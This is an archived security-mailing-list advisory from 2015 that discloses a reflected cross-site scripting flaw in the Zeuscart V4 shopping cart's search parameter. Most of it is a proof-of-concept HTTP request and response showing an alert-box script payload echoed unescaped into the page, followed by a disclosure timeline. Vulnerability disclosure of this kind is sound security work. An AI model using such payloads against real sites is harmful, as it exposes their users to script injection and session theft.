| lists.openwall.net | lists / announce owl-users owl-dev john-users john-dev passwdqc-users yescrypt popa3d-users / oss-security kernel-hardening musl sabotage tlsify passwords / crypt-dev xvendor / Bugtraq Full-Disclosure linux-kernel linux-netdev linux-ext4 linux-hardening linux-cve-announce PHC | |
|
Open Source and information security mailing list archives
| ||
|
Message-ID: <007b01d11516$b6a18ec0$23e4ac40$@itas.vn> Date: Mon, 2 Nov 2015 09:32:23 +0700 From: "ITAS Team" <itas.team@...s.vn> To: <bugtraq@...urityfocus.com>, <fulldisclosure@...lists.org> Subject: Cross-Site Scripting | Zeuscart V4 #Vulnerability: Cross-Site Scripting #Vendor: http://www.zeuscart.com #Download link: http://zeuscart.com/download/ #Affected version: Zeuscart V4 #CVSS v3.0 Vector: AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:N/A:N #Condition: The attack is performed by an "Anonymous User" #Payload: "--><ScRipt>alert(/ITASVN/)</ScRipT> #Fix version: N/A #Author: Dang Quoc Thai thai.q.dang@...s.vn và ITAS Team ::PROOF OF CONCEPT:: + REQUEST GET /index.php?do=search&search=%22--%3E%3CScRipt%3Ealert(/ITASVN/)%3C/ScRipT%3E HTTP/1.1 Host: demo.target.com User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:41.0) Gecko/20100101 Firefox/41.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Referer: http://www.target.com/demo/ Cookie: PHPSESSID=0f9ce01d2822471dee23af07947e9074 Connection: keep-alive +RESPONSE HTTP/1.1 200 OK Date: Mon, 02 Nov 2015 02:21:55 GMT Server: Apache/2.2.29 (Unix) mod_ssl/2.2.29 OpenSSL/1.0.1e-fips mod_bwlimited/1.4 X-Powered-By: PHP/5.3.29 Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0 Pragma: no-cache Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html Content-Length: 25032 ... <!--logo--> <div id="logo_div"> <div class="row-fluid"> <span class="hidden-tablet"> <div class="span5"><a href="http://demo.target.com/index.php?do=index"><img src="http://demo.target.com/images/logo/20151012210547_sell_logo.png" alt="ZeusCart"></a></div> <div class="span4"> <div class="input-append" style=" margin-top: 30px;"> <input style="width:170px; height:18px; overflow:hidden;" name="search" type="text" id="searchtxt" value="\"--><ScRipt>alert(/ITASVN/)</ScRipT>" onclick="searchitem();"> <button class="btn" type="button" onclick="searchSubmit();" value="Search"><i class="icon-zoom-in"></i> Search</button> </div></div> <div class="span3" style=" margin-top: 30px;"><a href="http://demo.target.com/index.php?do=showcart"><div id="shopping_cart"><i>Shopping Cart - 0 Items</i></div></a> </div> </span ... ::Timeline:: - 10/13/2015: Contact vendor - 10/16/2015: No response from vendor - 10/16/2015: Disclose information ::REFERENCE:: - http://www.itas.vn/en/itas-team-found-out-a-cross-site-scripting-vulnerabili ty-in-zeuscart-cms/ - https://www.youtube.com/watch?v=CPgzAra_mXw
Powered by blists - more mailing lists